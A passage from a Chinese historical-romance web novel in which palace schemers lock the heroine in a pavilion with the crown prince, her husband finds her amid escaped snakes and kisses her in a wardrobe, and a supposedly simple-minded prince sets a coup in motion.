皇帝低笑道,“青辞另说,那卫沉是个难得不畏强权的忠良。” “若朕赢,朕要保下这个忠良。若逆子赢,那朕要给朕的王朝留下几个可堪重任的良臣。” 内侍太监听来还是担心,“陛下大可不必将自己置于如此险地。您正直壮年,也不是不能再有后嗣。” 皇帝摆手,“诶,这才有趣。” 内侍老太监不好多说其他。 毕竟这位帝王年轻时做的事,更加出格。 他即便跟随这位帝王几十年,也总是摸不清这位帝王的喜好。 慕青辞走出殿外。 眼前晃过一道红影,他下意识伸手抓住。 这才注意到,是他的香囊。 慕青辞立马低头检查腰间,发现腰间原本挂着的香囊的确不见了。 他抬头迎上一旁封行渊,“多谢。” “不客气。”封行渊有意无意地问着,“心上人送的?” 仅此一句话。 雄性间就能敏锐的察觉到来自对方的敌意。 “与你何干?” 空气间流传着微妙的寻衅气息。 少年话语间自带劣性邪气,“都旧了,殿下的心上人怎么不绣个新的送你?” 慕青辞并不想与他多说,径直要走,却被封行渊身形挡住去路。 那张面具暗纹正对着他,格外刺眼。 封行渊转过头来,“该不会是她,不要你了吧。” “封轸,说我的时候想想,”慕青辞靠近他耳侧,“你我是一类人。” “她倘若不要我,会真心想要你吗?” 慕青辞看着他,“最起码,她喜欢过我。” “你呢,她喜欢过你吗?” 封行渊目送慕青辞离开,眼底暗流涌动,随即冷嗤一声。 喜欢这种东西,他不需要。 他生来不需要被任何人喜欢。 * 封行渊回府,踏进房门看见鹿微眠坐在罗汉床上,斜倚着小茶桌,明眸皓齿,长发披散。大抵是准备休息,新婚大红寝裙外只披了件薄纱外衣,手执木梳慢吞吞地打理着长发。 双腿垂在罗汉床沿,一条腿悬空,轻晃着出神。 连他回来也并未注意。 封行渊将外袍挂于一旁,“想什么这么出神?” 鹿微眠听见声音看过去,但身子没动,“我在想,这些时日,我已经很努力了。可还是防不住有人从中作梗。” “虽然这一次发现了,但下一次还不知要如何防备。” 封行渊心知她说的是工部图纸的事情。 他净手过后,闲坐在桌前擦着手中短刀,“如果总有人在暗处图谋不轨,那为什么一定要抓暗处的人,去防备他们做坏事。” 鹿微* 眠缠着自己的头发,“我也觉得这样太被动了。” 封行渊一面擦拭短刀,一面盯着她手里缠绕的头发,指尖有意无意磨过尖利的刀刃。 “你有想过主动一点吗?” 鹿微眠看过去,“主动做什么?” 封行渊视线上移,从她的头发挪到眼睛,“抓最要紧的那个人。” 鹿微眠一顿,“慕,慕青辞吗?” 这片刻的晃神,被封行渊捕捉到,“怎么了,舍不得?” 鹿微眠正要发作。 封行渊慢条斯理又补了一句,“因为喜欢过?” “你胡说。”鹿微眠急得从罗汉床上下来。 这反应属实过大了一点,被封行渊看在眼里,黑瞳暗色流转,“这么喜欢吗?” 鹿微眠凝眉否认,“我没有。” “你不许翻我旧账。” 封行渊指腹摩挲着短刀刀刃,“不许翻的意思就是有。” 鹿微眠百口莫辩,“这跟我现在和你说的事情没有关系,你提这个做什么?” 封行渊慢悠悠地笑了,“怎么没有关系,你不是在烦心吗,我在帮你出主意。” 正好他也有些心烦。 因为慕青辞。 少年笑容纯粹。 阿眠喜欢他,“那就让他死啊。” “他死了一切都解决了。” 阿眠也没有喜欢过的人了。 真好。 鹿微眠不跟他说话了。 也不知道他今日这是怎么了,一回来就开始翻旧账,盘问她喜没喜欢过慕青辞。 鹿微眠觉得他在说气话,这么大的人了还这么幼稚。 她当然知道慕青辞一死,就万事大吉。 但是谈何容易。 她是杀不了,难道要让他去吗。 相较于前世,她好不容易走到如今,没有让慕青辞的阴谋拖他下水。 难道这个关头还要让他再背上个谋害储君的罪名。 但封行渊没有这般心思细腻。 他说的,就是他当下想做的。 * 重阳佳节与帝王诞辰相连,长安城里外热闹非凡。 鹿微眠前阵子动脑筋动得太多了,因此睡了个昏天黑地,睡醒了便出去玩。 也算是乐得自在。 就是封行渊早出晚归,也不知在忙什么。 毕竟她晨起时,他已经出门,晚上睡着了他才回来。 皇帝寿辰当日,阖宫宴请时,她才得空见着他。 不过就是站在朝臣伴驾的人群中,远远看了一眼。 一并看到了人群中陪护的卫沉。 家眷并不与他们同行,鹿微眠收回视线,站在明窈身边,询问着她的近况。 明窈气色红润,孕相温婉,“劳你挂心,如今一切都好。” “我夫君说此番多亏了封大人帮忙,不然他恐怕就要有大麻烦了。” 鹿微眠弯了弯眼睛,“没事就好。” “我还听他说,封大人总提起你,说你很关心我们一家。你们的恩情,我们都记得。” “算不得什么恩情,”鹿微眠想来她也没做什么,“大家同朝为官,理应相互照应,何况卫都督一片忠心,也不该身陷囹圄。” 明窈看了她一会儿,挽过她往一旁僻静之处走,“虽然这话不该我说,但太子此番,你应当也听封大人说过。” 鹿微眠点头。 “太子殿下实非良配,虽说失了太子妃的尊贵,但没嫁到底是件好事。”明窈拍了拍她的手,“我瞧着封大人很是听你的话,也颇为在意你呢。你们感情应当是还不错吧?” “兴许陛下阴差阳错,指了个金玉良缘。” 鹿微眠眨了下眼睛,她并不太能判断,他们现在是什么感情。 就在鹿微眠不知该怎么回时,不远处走来个宫女,朝她们行礼。 准确的说,是朝明窈行礼。 “卫夫人,淑妃娘娘有请。” 鹿微眠听到“淑妃”二字,顺着宫女的示意,看到了旁边一处小榭楼阁。 小榭矗立在水边,四面珠帘玉幕围挡,从外面能看见里面静坐赏景的佳人倩影。 明窈了然地点头,跟鹿微眠支会一声就走了。 鹿微眠不太方便进去,便在院中闲逛。 到底也没有走远,想着或许可以和明窈一起回去。 听说陛下为了安抚朝臣,给明窈送了一个御医过去。 此番淑妃找明窈的缘由,鹿微眠猜测八九不离十也是协助陛下安抚朝臣。 如今后宫,皇后淑妃两分天下。 这件事情牵扯慕青辞,按理说皇后出面和解最好,但如今陛下没有让皇后出面,反倒是让淑妃出面。 那说明其实陛下再不会让皇后和慕青辞过于亲近他信任的朝臣。 对慕青辞也不会信任如从前。 鹿微眠想,虽然说那天封行渊闹脾气说了些不切实际的话。 但他说的是有道理的。 她与其一直纠结暗处的人,不如釜底抽薪。 在明年南巡之前搬倒太子,揭发一切,兴许她担心的事情就不会发生。 目前算是有些进展,起码让他失去帝王信任,也抓到了他结党营私的证据。 鹿微眠心不在焉地想着,完全没注意自己走到了什么地方。 只是隐约听见了身后传来急促的脚步声。 鹿微眠定神这才发现自己不知怎么的远离了人群,走到僻静的小院里。 她正要折返回去,忽然迎面跑来一个人影。 鹿微眠还没反应过来,就被人一把拉住。 扯进了不远处树荫藤蔓遮蔽的假山里。 “你……”鹿微眠一出声,就被一只大手捂住。 一个看起来与她一般大的少年惊慌地做了个噤声的手势,“姐姐,别出声。” 鹿微眠看着他身上穿的是石青色蟒袍,脸庞略显青涩,但眉目灵动。 假山外传来一个嬷嬷的声音,“诶呦,三殿下,您这是躲哪去了,快出来吧。” 鹿微眠微微屏气,看着眼前少年。 他竟然是三皇子。 慕景怀听着嬷嬷找他这般着急,反倒孩童一般的笑了起来。 “姐姐,我与嬷嬷玩捉迷藏呢,你若在外面,定要被她发现我。” 鹿微眠点头,示意他捂住自己的手。 慕景怀连忙松手,还不忘笑嘻嘻地道歉,“对不起啊。” 鹿微眠脸颊被捏得酸涩,得了喘息的空隙,轻揉了一会儿。 她看见一旁少年仍然在专心致志地玩着捉迷藏,乐此不疲。 十六七岁的模样,看起来只有六七岁的心智。 但他着实是承袭了淑妃的美貌。 三皇子是淑妃独子,曾经一出生就备受宠爱。 正好太子怪病缠身,身体不好。 朝中一度有人揣测,陛下会另立储君。 但可惜,慕景怀六七岁时生过一场重病,烧坏了脑袋。 心智便永远是个孩童,再无继位可能。 外面嬷嬷着急,“殿下你藏哪去了,今日宫中客人多,别再冲撞了人。” 慕景怀只是偷笑并不应声。 鹿微眠瞧着他,算下来,他当真还是自己的表弟。 大抵是亲缘关系使然,鹿微眠看他自然而然多了几分亲近。 嬷嬷找着人,远离了假山去了别处。 慕景怀注意力自然而然地转移到了鹿微眠身上,“姐姐,你也是来做客的吗?” 鹿微眠敛眸,“是啊,我一会儿得尽早回去。” 慕景怀了然,环顾四周,“这会儿没有人,姐姐你快回去吧。” 鹿微眠点头,正要往外走,忽然被他再次拉住,认真叮嘱,“对了姐姐,你出去若是碰见旁人,千万别说我躲在这里,我此番捉迷藏一定要赢的。” 鹿微眠笑了,“好。” 她说着,从假山另一边离开。 鹿微眠出去,才发现自己走错路了。 她正要折返回去,冷不丁听到了一阵对话声。 一道很是沉着清冷的陌生声音,“查的怎么样?” “陛下寿辰确实交由太子全权处理,没有其余防备。” 但后面回答的声音,鹿微眠听了出来。 这是刚刚三皇子看护嬷嬷的声音! 鹿微眠愣在原地一动没动,不远处假山外人影走了过来,那清冷声音的主人竟然是慕景怀! 少年一改刚才懵懂不经事的痴儿模样,这会儿眉宇间一片沉着。 鹿微眠意识到自己发现了什么。 连忙屏气,后退两步。 趁着他们没过来,快步离开这片小树林,跑出去之后,慌乱中躲进了一座孤僻楼宇。 而此时,慕景怀停下脚步,看见不远处拐角小灌木不停摇晃。 是有人刚刚跑过去的征兆。 接着,他看见灌木花枝上,挂了一枚小巧的珍珠耳环。 而它的主人,早已没了踪影。 楼苑临水,旁边就是御花园,在这里还能听见不远处的谈话嬉笑声。 鹿微眠关上门,松了一口气,这会儿才发现自己耳环跑掉了一只。 但是这会儿也不能出去找,鹿微眠索性摘下另外一只。 盘算着等躲过去了再看看能不能找到。 屋内有风声吹动纸张的沙沙声。 鹿微眠得空环顾四周,发觉这阁楼好像是用来存放一些名贵字画,供帝王前来观赏书写的楼宇,楼前临水,也是个放松的好地方。 鹿微眠不自觉地往里走了一段距离。 看着屋内屏风墙壁上挂着的字画,正看得入神。 屏风后慕青辞出声,“你怎么来了?” 鹿微眠浑身汗毛竖起,掉头要走,却忽然被叫住。 “来都来了,不如坐一会儿?” 慕青辞正在写给皇帝的百寿字,他放下笔,起身去给鹿微眠倒茶。 鹿微眠没心情与他坐下闲聊,“我走错了,殿下恕罪。” “这么久了,你就没有什么话想与我说吗?” 慕青辞给她递茶,“比如,你想我了。” 鹿微眠没有接,“这话殿下骗骗自己就行了。” 慕青辞敛眸神色很快暗淡下来,将茶盏放在一旁,“可我很想你。” “阿眠好像对我有什么误会。” “我们没有误会。”鹿微眠看着他,“只是我从前还是太不了解你了。” 慕青辞低笑,“是吗,那你如今知道了,所以与你那好夫君一起,给了我一张假的布防图。想弃我于不顾,也不想跟我有日后了。” “你要布防图不是为了我,是为了你自己的野心。” 慕青辞朝着她走近,“这两者冲突吗?你也是我的野心。” “我实现了野心,也就拥有了你,这不是很好……” 鹿微眠打断他,“可我不是你的所有物,由着你安排,你想怎样就怎样。” 慕青辞像是既然被看穿,那也不在乎任何礼法一般。 他一步步靠近,“如果我说,即便你不想,我也一定要你呢。” 慕青辞温润眉宇间有她从未见过的幽暗。 鹿微眠下意识地害怕,转头要走,却发现大门不知何时被人从外面上了锁。 * 不久前,屋外抱着一副书画的叶心娴刚拐进来。 身边婢女夸赞着,“姑娘这一副百福图与太子殿下准备献的百寿字相得益彰,想必太子殿下一定会因此对姑娘印象深刻。” 叶心娴弯唇,正要上前,远远地看着鹿微眠从一个小角落出来,脚程飞快地进了楼苑,关上了门。 婢女也看见这一幕,一时眉头紧锁,“她怎么也来找太子殿下了?” “找便找,关门做什么?” 叶心娴深吸一口气,脸色冷了下来。 旧情人相见还关门,有点脑子的都知道是想干什么。 “我费尽心思让她嫁给封轸,还这般不老实啊。” 叶心娴正欲上前撞破这二人,一道身影比她快上一步,在她前面将房门从外面锁死。 男人修长的手指拨弄着锁扣,锁门锁得悄无声息。 而他身上一袭规整的太监常服。 叶心娴停下来,静静地看他,眼底有不悦,但并未发作。 姜崇锁上门便将人带过,柔声低哄,“郡主不急。” 这两人间的距离是不同寻常的亲近。 耳语间,好似情人呢喃。 婢女熟练地往旁边退下几步。 姜崇将人带离楼苑,直至树影阴翳处,“郡主急于这一时半刻,反倒会惹殿下不快。” “奴才答应帮您做到皇后之位,是在替您考虑。” 叶心娴扬眉,“所以你将他们旧情人关在一起,也是为我考虑?” “自然。”姜崇阴柔眉眼满含笑意,“这鹿氏姑娘,嫁了人还与外男私会,在此等大庭广众之下不知廉耻,声名狼藉。” “若是这样,即便是太子殿下想,这皇后尊贵她也担不起了。” 男人声音慢了几分,轻且缓地安抚身前少女,摩挲着她的腰身,“说不好,这鹿姑娘都无颜面苟活。” 叶心娴方才的气性就这样被哄得缓了下来,“那我要如何让大家知道,他们在里面偷情?” “这个简单了。”姜崇压低声音,“隔壁就是万牲园,且说是里面的毒蛇逃出来了。今日这么盛大的日子,一定会有人大肆搜捕。” 不多时,万牲园掌事宫女火急火燎地跑了出来。 这么大的事,她不敢隐瞒,连忙上报给正在游园的帝王。 皇帝闻言眉头轻皱,“这点小事都做不好。” 宫女跪下行礼,“陛下恕罪,原是看得好好的,不知怎么再见笼子就空了。” “去找禁军配合搜捕。半个时辰内,务必处理好。” “谢陛下!”宫女领了吩咐,忙不迭地去找人。 皇帝转头笑着示意大家稍安勿躁。 禁军侍卫很快大范围地搜找,封行渊抱剑倚靠在旁边,看着眼前的人来来去去。 宫眷无一不怕蛇虫,连卫沉的夫人明窈从被送回了殿内,唯独不见鹿微眠的身影。 卫沉与明窈交代了两句,便离开了大殿。 封行渊也缓步跟了出去。 禁军搜找了万牲园附近的地方,发现了些许踪迹,赶来禀报,“大人,瑶台附近发现了两条!” “应当有一部分进入瑶台楼阁内了,但是大门锁着。” 卫沉吩咐,“去寻钥匙打开搜找。” 而此时,瑶台楼阁内。 鹿微眠几乎是瞬间反应过来,门从外面反锁,只能被人从外面打开。 看到他们孤男寡女共处一室,是想坏她名节。 慕青辞看着她手中紧锁的门,缓步上前。 鹿微眠回神时,男人已经站在了她身后,手从她腰侧伸过。 鹿微眠慌张躲开。 慕青辞手上一空,无声轻笑,随后淡然自若地继续伸到门边。 试了试门锁。 鹿微眠意识到自己误会了,面上有些窘迫,但还是紧张,“你叫人锁门做什么?” “不是我叫人锁的。”慕青辞语气平静,“是有人算计我们。” 鹿微眠眼下不太能相信慕青辞。 慕青辞也看得出来,朝她走近,“若是我锁的。” “现在,你我不会在这里好好说话,你应该在我床上。” 鹿微眠眼睫轻颤。 慕青辞继续,“这样我好等旁人进来时,让他们以为你我私会偷情,不清不楚。” “等你名节尽毁,你就只能留在我身边。” 鹿微眠多少被他的话吓到,下意识躲避,半个身子都躲在楼宇石柱后面,“那,现在……” 她话还没说完,冷不丁听到了“滋滋”声。 鹿微眠循声看过去。 发现自己躲着的那根柱子上,盘了一条蛇! 鹿微眠瞬间起了一层鸡皮疙瘩,惊叫出声。 慌乱之余,鹿微眠完全没注意到自己近乎是条件反射躲到了慕青辞身后。 鼻音夹杂着哭腔,“有蛇!” 慕青辞被她攥着衣摆,硬是在原地愣了片刻,才出声,“别怕。” 他如从前一般温声哄她,“先去楼上躲一躲,这里交给我,轻易不要出来。” 鹿微眠环顾四周才发现,屋内角落里不知怎么钻进来数条。 她怕蛇。 见此情此景,呼吸都有些凝滞,立马掉头顺着楼梯往楼上跑。 鹿微眠在阁楼里转了一圈,最终找到了一个封闭严实的衣柜,钻了进去。 这里面不至于进蛇,也不容易被人发现她和慕青辞共处一室。 鹿微眠多少被吓到,神经紧绷,似乎在衣柜里都能听到“滋滋”声。 紧接着瑶台外面传来侍卫巡视搜罗的声音,楼下大门被人暴力破开。 鹿微眠将自己蜷缩得更紧了几分。 也不知道是不是她过于紧张,导致她耳边那“滋滋”声越来越大。 鹿微眠不由得透过橱柜缝隙往外看,赫然发现橱柜外当真一条蛇爬过。 那毒蛇听见了柜子里的动静,朝着橱柜爬了过去, 蛇身触碰到柜子,鳞片摩挲着发出细微的声响。 鹿微眠汗毛都跟着竖了起来,想着蛇应该不会自己打开柜子。 就在她紧张万分的时候,那摩挲声突然消失。 柜门却跟着被人打开。 突如其来的光线让鹿微眠心跳一滞。 惊慌抬头,冷不防地撞上封行渊饶有兴致的视线,“找到你了。” 鹿微眠提起的心刚被放下,下一瞬就听到了楼下被暴力破门的声音。 纷乱的脚步声传来。 鹿微眠想也没想,一把将外面的人拉了进来,顺带着将柜门关上。 鹿微眠关上柜门才发现,原本宽敞的衣柜多了个男人就变得拥挤逼仄。 她被挤得无处容身,只能坐在他身上,不自在地解释,“不能被他们发现我在这。” 封行渊弯唇,“为什么?” 鹿微眠扭捏了一会儿,想起前阵子他还盘问她的旧情。 这会儿怕说了他会闹脾气,但不说他大概会更生气,“有人故意把我跟慕青辞关在一起,想让别人误以为我们在……私会。” 封行渊装模作样地理解了一会儿,“这样啊。” 他调整了下坐姿,牢牢地看着她,“那夫人告诉我,你为什么会来到他这里?” 鹿微眠一时不好解释,犹豫着措辞。 忽然男人膝盖猝不及防地顶了她一下。 鹿微眠不可遏抑地轻哼出声,意识到自己发出的声音,又慌忙捂住了嘴巴。 他看似无意,却在膝盖顶到她时,好脾气地催促着,“怎么不说呢?” 他知道她哪里脆弱。 果然,只一下鹿微眠呼吸就变得急促起来,轻咬唇瓣,按住他,“腿,不要动。” 封行渊煞有介事地解释,“夫人体谅,我腿伸不开。” 鹿微眠看着这柜子于他而言是小了一些。 这不看不要紧,一看,鹿微眠径直和一条刚钻进来的小蛇大眼瞪小眼。 她一瞬间腰都吓软了,拼命地往身前人怀里钻,“蛇,有蛇进来了。” 封行渊一下子被人抱紧,怀中一片绵软。 鼻息间充盈着茉莉花香气,仿佛心脏都被这气息胀满,轻盈到有些虚浮。 “可夫人抱我太紧了,我动不了。” 鹿微眠又不敢离开他,只能虚虚松了松手,给他些许活动空间。 封行渊扶着她的腰坐正了几分,抬手时指尖飞出一枚利刃,骤然将那毒蛇七寸钉在了橱壁上! 鹿微眠只听“咚”地一声闷响,也不知道他有没有解决掉。 她局促紧张地想要回头看,薄唇毫无预兆地碰到了少年脸颊。 两人动作都停滞了一下。 鹿微眠意识到自己做了什么,顾不上看蛇,抿唇转回原位,环着他的脖颈,趴在他肩头,细声细气地问,“好了吗?” 封行渊眉眼微动,嗓音微哑,“没好。” 很奇怪。 她轻薄他时。 他忽然间就不生气她出现在慕青辞这里了。 他想再试一次。 封行渊轻拍了下她的腰,“我看不清,你看,是不是在那里。” 鹿微眠很不想看,但碍于更想让他赶紧把蛇抓住,还是硬着头皮回过头。 封行渊迟迟不见她动作也偏头看她。 狭小的衣柜内,动作空间也很局限。 鹿微眠唇瓣一下子蹭到了他唇角。 黑暗中,她近距离地看着他的眼睛。 片刻后才缩起脖子退开。 封行渊沉吟片刻,先发制人,“你轻薄我。” 鹿微眠窘迫,“你我正当夫妻,轻薄你……我,合情合理。” “哦,”少年视线从她闪躲的眉眼下拉到唇瓣,拖腔带调地重复她的说辞,“合情合理。” 鹿微眠在几个呼吸间,就嗅到了突然膨胀的侵略气息。 直到她看见封行渊偏头摘掉了碍事的面具。 她后颈同时被一只大手扣住。 将她压向他。 第32章 别怕 他们在咫尺间隙中停滞, 是察觉到她有片刻的紧张。 少年眉梢微扬,声音极轻,“不是合情合理?” 他犹如试探的小兽, 轻碰一下。 唇瓣相触一片绵软清甜,他问,“抖什么?” 鹿微眠手指蜷曲着抓紧他的衣领, 寻了另一个借口, “蛇……” 封行渊了然地应了一声, 扣着她的颈将人又压了回来,恶劣地撒谎, “一会儿抓。” 她这样似乎会更害怕一点—— 抱他更紧。 他看着那鲜嫩柔软的唇瓣, 一遍一遍尝试轻薄。 确认他的确会因此心情很好之后,在她唇角轻颤时极轻地含住。 他习惯性的啃咬改用唇磨动。 细微的酥麻感从唇齿间无穷无尽地扩散。 偏偏他几番试探之后, 越磨越用力。 鹿微眠尾椎升起一层一层麻痒,腰身更软几分。 柜子外突然传来脚步声。 阁楼上侍卫大大小小抓捕着遗漏的蛇,开箱开柜, 翻找衣橱的声音越来越频繁。 鹿微眠在恍惚中,甚至听到了慕青辞的声音。 她紧张地屏气,几乎是同时。 少年磨开了她唇瓣,发觉, 似乎还有深处可以入侵。 鹿微眠意识到他要做什么,羞涩躲避着埋进他的颈窝里。 离开的空隙间又再度被抓住, 封行渊丝毫不受影响,异瞳与她对视。 判断着这双唇里面可不可以进去轻薄。 大抵是见她实在是局促, 才放弃了这个念头, 安抚她微开的檀口,“别怕, 下次再进去。” 鹿微眠思前想后也没想明白,事情怎么会突然变成这个样子。 外面的禁军侍卫在搜查,他们在这里…… 有人走到这个始终没被打开的衣柜边,脚步声越来越近,正要开门。 忽然被慕青辞叫住,“这里有一条,过来。” 那侍卫答应着,也没再管这个柜子,跑上前帮忙。 慕青辞盯着那个紧闭的柜子门,看了很久。 等侍卫将蛇抓起才道,“走吧,这里没有了。” 那侍卫没有多想,“是。” 说完跟着慕青辞下楼,关上阁楼大门。 一切都结束后,鹿微眠是被抱出来的。 她连翻惊吓又亲吻许久,腿已经软得走不了路了。 封行渊将人放在座椅上。 慢条斯理地拔下钉在橱柜上的利刃,擦拭自己的刀。 鹿微眠对着桌边的镜子看。 口脂都花了,嘴巴也肿了。 看起来见不了人了,但是一会儿还有宴会。 鹿微眠不得不拿帕子擦拭晕出来的口脂。 封行渊隔了一段距离,透过铜镜看她。 他从前并没有对夫妻关系有什么具体的认知。 他一直觉得,夫妻就像是两个陌生人住在一起,仅此而已。 这么看来,好像还有很多奇妙的特权。 比如,能理所当然地轻薄她。 轻薄完会让他心情很好,非常好。 甚至能原谅慕青辞一天。 让他多活一天。 鹿微眠擦着擦着,感觉到一股滚烫的视线。 透过镜子看见罪魁祸首正在看她。 鹿微眠脸皮太薄,转了下镜子,“你不许看了。” 少年弯唇,“夫人好看。” 说完,他肉眼可见地看着鹿微眠粉白的耳根变得通红。 鹿微眠嘟嘟囔囔地说他又在哄她。 封行渊没听进去,只是想起了木芙蓉。 未开时是白色,将开是粉色,开了是艳红色。 他的夫人似乎也会这样,身体会随着他的行为产生变化。 很有趣。 鹿微眠与封行渊离开时,她敏锐地察觉到他唇上也沾了口脂。 大概是那行径过于大胆,鹿微眠做贼一样地想要把“犯罪现场”清理干净。 她递给封行渊一个帕子,“你擦一下。” 封行渊没明白。 鹿微眠只能亲自上手,踮脚擦了半天,“你太高了。” 封行渊弯身。 身形压下来,将她笼罩在他的影子里。 鹿微眠没敢看他,看了一会儿他的唇,才发现他好看的不只是手。 少年唇线干净流畅,薄唇红润。 鹿微眠擦掉多余口脂才发现,他嘴巴的红是被亲红的,擦不掉。 意识到这一点,鹿微眠身体又开始发烫,抬眼发现他始终盯着自己的唇。 她连忙将帕子塞进他手里,“你自己擦吧。” 鹿微眠说完,赶紧前去大殿入席。 他们一前一后入席才发现,大殿宾客坐满,只剩下她和封行渊还没来。 因此他们的迟到就变得格外显眼。 鹿微眠硬着头皮请罪。 但皇帝今日心情好,“你父亲还当你走丢了呢,朕就说你们夫妻俩定不能同时走丢,肯定是在一起。” 封行渊出声,“是有些迷路。” 皇帝打趣他,“这宫苑你最熟悉不过,还迷路。” 鹿微眠入席时,皇帝还在给封行渊罚酒。 宴席上很快便揭过了这一篇。 谁也没在意。 可有一个人在意。 慕青辞捏紧酒盏,看着鹿微眠的口脂这会儿完全消失不见,双唇是自然的红肿湿润。 封轸淡色的唇上却多了几分艳色。 皇后瞥见他的反应,故意提醒他鹿微眠已婚。 “这夫妻新婚喜欢寻僻静之处多呆一会儿也是正常。” 不成想,这句话让慕青辞眼底暗色更重。 缓慢放下酒盏,起身要离开。 皇后小声制止,“你父皇寿辰,身为太子提前离席成何体统。” “我既身为太子,想要的没有,就非得要这体统吗。”慕青辞不管不顾,转身离开。 此举满朝文武与家眷不由得看过去。 但凡知道太子与封夫人过往的人,视线都下意识地在他们身上打转。 不远处,坐在鹿微眠身后的叶心娴也沉下目光。 小声询问鹿微眠,“表姐,你方才是去哪了?” 鹿微眠敷衍道,“没去哪。” 叶心娴听出她话语中的敷衍之意,也懒得再问。 前脚私会完太子,后脚又哄她夫君。 怎么就没坏了她名节呢。 瞧不出来这鹿微眠玩弄男人还有一手。 她都想跟鹿微眠请教一番了。 殿外,慕景怀远远看着慕青辞从殿内离开。 “原以为,他今日要反的。” 一旁老嬷嬷不置可否,“承办宴席的差事都交给了他,里外值守也是他的人,太子殿下竟然能一动不动。” 这是如何好的机会。 家眷全部在宫廷,都不用费劲收罗,就能挟持家眷逼宫。 但慕青辞在周围安插看守侍卫却一切如常。 慕景怀看着慕青辞离开的方向良久,“那我们就助他一把。” “也难为皇兄养了那么多私兵,放着这么好的机会不用。” * 慕青辞踏进孤冷东宫时,手里仍然攥着那个并不算精致的香囊。 满园的枯枝败叶被风吹得窸窣作响,那是他不日前种下的花,几场寒潮死了大半。 恍惚间,他仿佛听到了熟悉的声音。 转头看见门口,一个小姑娘迎着日光推开门。 大片日光倾泻而下,照在他冰凉泛寒的身上。 那小姑娘进来,“子珩哥哥,我今日听说,久病不愈的人要多晒晒太阳,阿眠帮你开门开窗,你就会尽快好起来了。” 慕青辞回神,意识到那是幻觉。 那时他们尚且年幼,但她每次来,冰冷的屋子都会一片暖绒。 光影变幻间,又到了某年春日,她捧了一束花跑进来。 “褚楚姐姐说,看病人要带花,我就给你带来了。” 他问,“为什么要带花。” “因为看了会心情好啊。” 慕青辞点头,“看了的确会心情好。” “是吧,公主姐姐的院子里有花,你院子里光秃秃的不利于调养生息,春日没有花,蝴蝶也飞不进来。” 慕青辞只见过一次蝴蝶,是第一次见她,她在扑蝴蝶。 不知是蝴蝶喜欢绕着她飞,还是她爱追这些漂亮的小玩意。 后来,她带来的花枯萎了。 她很久没有再来。 慕青辞想,大概是他院子里太过荒芜,所以蝴蝶不愿意飞进来。 他鬼使神差地种了满园的花草。 等到寒冬过去,春日降临。 在花朝节时,他难得出了一次门。 任谁都没想到,久病不愈的太子会出门游园。 他在众目睽睽之下找到了她,问她,“你愿意再去长春宫看看吗,现在我的院子里有花了。” 缺一只蝴蝶。 思绪回笼。 慕青辞再度一个人坐在寸草不生、冰寒入骨的宫苑内。 仿佛又在等冬日降临,等哪一天自己的病不治身亡。 不知道自己还有没有明天。 慕青辞觉得自己这一辈子。 最不缺的,就是等死的时候。 他觉得,他好像又回到了小时候。 不知过了多久,大概已经过了午膳时间,到了午后。 屋外忽然有人慌慌张张地跑进来,“殿下!咱们的私兵接到了埋伏的调令,您调兵了吗?” 慕青辞闻言稍稍有了些反应,却是笑了,“我坐在这里如何调兵?” 侍卫脸色惨白,“咱们没有调兵,那他们听的是谁的号令?!” 慕青辞嗓音很淡,看起来不慎在意,“他们借我的私兵,想埋伏谁?” 侍卫不敢说埋伏谁,只说,“有一部分按照调令去了曲江池,估计是想要看护控制家眷。” 侍卫顿了顿,小声道,“另一部分去了城墙。” 一说去城墙,慕青辞就知道了。 眼下这个时辰。 皇帝应当已经到城墙了。 有人在逼他谋反。 即便是他不动,私兵埋伏在那,如今也不好撤离。 一旦被发现,他百口莫辩,那毕竟是他私养的军队,谋逆罪名就坐实了。 不知为何,慕青辞此刻无比平静。 他知道自己日后胜算不大,但也没想到自己树敌多到如此地步。 他的敌人多等不了一时半刻,想让他死。 * 午后曲江池寒风乍起。 鹿微眠不由得裹紧了自己的披风,与谷歆月一起寻了一处避风的水榭休息。 水榭外的曲江池水面上落了大片的红枫,将水面也浸得发红。 园子里风大,将晚上灯会准备的花灯吹得四处摇摆。 宫人们心惊胆战地去固定花灯,生怕晚上帝王过来,见此降罪。 水榭里伺候的宫人也惦记着园子里的灯,手忙脚乱的帮她们布置炭火。 谷歆月撸起袖子,“你去帮忙吧,这点炭火我能搞定。” 宫人推拒,“这可使不得。” 谷歆月催促着她去忙正事,接过火箸。 宫人连连道谢,赶去帮忙。 这一片没什么人。 中午用过午膳,帝王带人离宫前去城墙观礼,晚宴安排在曲江池有灯会和烟火。 明窈受不得风,从宫里出来就回了府。鹿微眠也不想爬城墙,便跟谷歆月提前来* 了曲江池。 谷歆月戳着炭火,“这么大风,要变天了,也不知晚宴还能不能看烟火。” 鹿微眠凑在火炉边,没听进去谷歆月的话。 满脑子都在想不久前她在宫苑里撞见的慕景怀。 “歆月姐姐,你见过宫中三殿下吗?” 谷歆月凝神细思,戳弄炭火的动作慢了几分,“几年前见过一两次。不过淑妃娘娘不常让他出门,说怕三殿下不懂事冲撞了旁人。” “你怎么想起他来了?” 鹿微眠动了动唇,不好言语,“就是突然有点好奇。” “我也好奇,”但谷歆月的好奇跟鹿微眠的不是一件事,“淑妃娘娘一向低调内敛,很少与朝中人来往,今日怎么突然想着约见卫夫人了。” 鹿微眠回着,“我听明窈说,淑妃娘娘赏了她些安胎的东西,闲话家常罢了。” 谷歆月明白了,“原是替陛下安抚家眷。” “往常这种事情都应该是皇后娘娘做的。”谷歆月顺便温了一壶茶,“最近,陛下是越来越不给皇后颜面了。” 鹿微眠记得,“他们原本关系似乎就不太好。” 谷歆月叹了口气,“便是夫妻貌合神离,只要太子在一日,那皇后娘娘的位置应当也不会变。总不会让淑妃娘娘坐中宫。” “可惜那三皇子是个痴儿,宫中也没有其他合适的皇子。” 鹿微眠听到这话,乖乖噤声。 想着今日她在宫中听到的那段对话。 慕景怀,他根本就不是痴儿。 鹿微眠抿唇,现在想起来仍然心有余悸。 还好她跑得快,不然慕景怀隐藏这么多年的秘密被她发现了,岂不是要灭口。 鹿微眠想着想着反而松了一口气。 又多活一天,可真好。 然而鹿微眠庆幸没有多久。 时至晚宴,狂风大作乌云密布,宫人多番固定的花灯被大风掀翻。 整个曲江池院内都被风吹得一片狼藉,根本无法摆宴席。 但前去城墙观礼的朝臣们也都没有回来。 鹿微眠出了水榭就察觉到迎面而来的潮湿水汽,看起来像是要下雨了。 她正想着,曲江池外进来了一批侍卫。 催促示意着,马上下雨,请各位官眷进屋躲雨。 官眷们不疑有他,听从侍卫的指示进了一间大殿等候。 鹿微眠和谷歆月所在的水榭位置偏远,最后才被照顾到。 